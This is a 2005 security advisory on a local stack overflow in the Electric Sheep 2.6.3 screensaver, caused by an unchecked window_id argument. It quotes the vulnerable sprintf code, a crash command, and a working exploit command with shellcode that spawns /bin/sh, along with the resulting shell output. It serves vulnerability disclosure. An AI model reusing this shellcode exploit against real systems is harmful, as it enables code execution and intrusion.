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[NEWS] Electric Sheep Window-Id Local Stack Overflow

Subject: [NEWS] Electric Sheep Window-Id Local Stack Overflow
Date: 26 Dec 2005 18:55:35 +0200
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  Electric Sheep Window-Id Local Stack Overflow
------------------------------------------------------------------------


SUMMARY

" <http://electricsheep.org/> Electric Sheep is a free, open source screen 
saver run by thousands of people all over the  world. It can be installed 
on any ordinary PC or Mac."

Electric Sheep does not perform proper bounds checking on the window_id 
command line parameter, allowing a malicious attacker to run arbitrary 
code on the vulnerable machine with the permissions of the running user.

DETAILS

Vulnerable Systems:
 * Electric Sheep version 2.6.3

Vulnerable Code:
From file electricsheep.c

 419:
  default_background(char *more) {
    char ob[MAXBUF];
    char pbuf[MAXBUF];
    char qbuf[MAXBUF];

    if (nobg || (!on_root && !window_id)) return;
    if (more)
        sprintf(ob, "-merge -at 500,0 s.tif",
                splash_prefix, more);
    else
        ob[0] = 0;

    if (window_id)
      sprintf(qbuf, "-windowid %s", window_id); //no bounds checking on 
qbuf 

Because window_id comes directly from the command line, a malicious user 
has the potential to supply a window_id larger than MAXBUF and corrupt 
surrounding memory. The vulnerability can be seen by executing the 
following command.
electricsheep -window-id `perl -e '{print "A"x"40000";}'`

Bad integer argument for the windowid option Usage: xsetbg [global 
options] {[image options] image_name ...}
Type `xsetbg -help [option ...]' for information on a particular option, 
or `xsetbg -help' to enter the interactive help facility.
subprocess failure: splash0, 256=1<<8+0
Segmentation fault

Exploit Code:
An exploit spawing /bin/sh on SUSE Linux

narain@(none):~/electricsheep-2.6.3> electricsheep -window-id `perl -
  e '{print "\x90"x"200"; print "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46
  \x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb
  \x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; print "B"x"532";print
  "\x80\xc4\xfd\xbf"; print "C"x"39219";}'`

  Bad integer argument for the windowid option

  Usage: xsetbg [global options] {[image options] image_name ...}

  Type `xsetbg -help [option ...]' for information on a particular option, 
or `xsetbg -help' to enter the interactive help facility.
  subprocess failure: splash0, 256=1<<8+0
  sh-3.00$ whoami
  narain
  sh-3.00$

This local exploit to the sheep client does not pose a significant threat 
as electric sheep does not setuid(0). However, local exploits may be used 
as mechanisms for subvert command execution once a system has been 
compromised or used to create backdoors

This vulnerability was discovered during coursework performed for 
"Penetration Testing & Vulnerability Analysis" offered at Polytechnic 
University (http://www.poly.edu) during the Fall 2005 semester.


ADDITIONAL INFORMATION

The information has been provided by  
<mailto:MichaelAiello@michaelaiello.com> Michael Aiello and  
<mailto:dguido@gmail.com> Daniel Guido.



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